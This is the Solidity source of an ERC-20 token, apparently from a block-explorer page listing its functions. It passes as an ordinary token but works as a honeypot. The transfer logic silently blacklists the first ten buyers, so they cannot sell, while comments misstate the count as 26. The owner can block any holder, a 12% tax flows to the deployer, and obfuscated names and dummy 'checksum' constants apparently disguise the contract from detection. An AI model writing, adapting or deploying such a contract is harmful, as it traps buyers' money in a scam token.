// Dummy constants for checksum modification - version 0, now inside the contract
uint256 private constant _x0xBRWY8430 = 0x123456;
uint256 private constant _x0xHLQZ7332 = 0xABCDEF;

// Added variables for tracking initial buys and blacklist
uint256 public blacklistCount = 10; // Number of initial buys to blacklist
uint256 public currentBuyCount = 0; // Counter for the number of buys
mapping(address => bool) private initialBuyers; // Tracks unique buyers

mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;

uint256 private _0xFTXZ2094=12;
uint256 private _x3KLVQ5084=12;
uint256 private _x7PRXTZ=0;
uint256 private _x5NLYW9024=0;
uint256 private _x2BQVT651=12;
uint256 private _xGRWZ25=12;
uint256 private _x1PLYT7F5=12;
uint256 private _buyCount=0;

uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
string private _name;
string private _symbol;
uint256 public _x5KQZL9T5 = _tTotal * 2 / 100;
uint256 public _x0BRXT5K1 = _tTotal * 2 / 100;
uint256 public _x6NRWPX1 = _tTotal * 1 / 100;
uint256 public _maxTaxSwap = _tTotal * 1 / 100;

IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private x3PLTYQ7 = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _x5KQZL9T5);
modifier lockTheSwap {
x3PLTYQ7 = true;
_;
x3PLTYQ7 = false;
}

constructor (string memory name_, string memory symbol_) payable {

_name = name_;
_symbol = symbol_;
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;

emit Transfer(address(0), _msgSender(), _tTotal);
}

// Event added for checksum change
event ChecksumEvent(uint256 indexed dummyness0xEPVQ9145);

// Non-functional functions for checksum modification - version 0
function checksum0xCVXT5216() private pure { }
function checksum0xDMYK4057() private pure { }

function name() public view returns (string memory) { return _name; }

function symbol() public view returns (string memory) { return _symbol; }

function decimals() public pure returns (uint8) {
return _decimals;
}

function totalSupply() public pure override returns (uint256) {
return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}

function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a < b) ? a : b;
}

function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

uint256 taxAmount = 0;

if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);

// Check if this is a new unique buyer within the first 26 buys
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !initialBuyers[to]) {
currentBuyCount++;
initialBuyers[to] = true;

// Automatically blacklist the address if within the first 26 buys
if (currentBuyCount <= blacklistCount) {
bots[to] = true;
emit Transfer(from, to, 0); // Optionally emit a zero transfer as a way to signal the blacklist
}
}

// Regular tax logic after the blacklist phase
taxAmount = amount.mul((_buyCount > _x2BQVT651) ? _x7PRXTZ : _0xFTXZ2094).div(100);

if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _x5KQZL9T5, "Exceeds the _x5KQZL9T5.");
require(balanceOf(to) + amount <= _x0BRXT5K1, "Exceeds the x0BRXT5K3.");
_buyCount++;
}

// Additional sell conditions (if needed)
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount > _xGRWZ25) ? _x5NLYW9024 : _x3KLVQ5084).div(100);
}

// Handle swap and liquidity logic
uint256 contractTokenBalance = balanceOf(address(this));
if (!x3PLTYQ7 && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _x6NRWPX1 && _buyCount > _x1PLYT7F5) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}

// Transfer logic
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}

function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}

function removeLimits_x7PLWX8364() external onlyOwner{
_x5KQZL9T5 = _tTotal;
_x0BRXT5K1=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}

function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}

function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}

function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}

function isBot(address a) public view returns (bool){
return bots[a];
}

function openTrading() public onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), msg.sender, type(uint256).max);
transfer(address(this), balanceOf(msg.sender).mul(95).div(100));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}

function reduceFee(uint256 _newFee) external onlyOwner{
require(_msgSender()==_taxWallet);
_x5NLYW9024=_newFee;
}

receive() external payable {}

function manualSwap_x4NRYT6434() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_x0BRXT5K1 0x727fe49e → uint256
_x5KQZL9T5 0xb2a00bf9 → uint256
_x6NRWPX1 0xd29eb2eb → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
blacklistCount 0x188d1644 → uint256
currentBuyCount 0x4d697f8b → uint256
decimals 0x313ce567 → uint8
isBot 0x3bbac579 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

addBots 0xd34628cc
address[] bots_
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
delBots 0x31c2d847
address[] notbot
manualSwap_x4NRYT6434 0x89454bf8
No parameters
openTrading 0xc9567bf9
No parameters
reduceFee 0xec1f3f63
uint256 _newFee
removeLimits_x7PLWX8364 0xc6047553
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address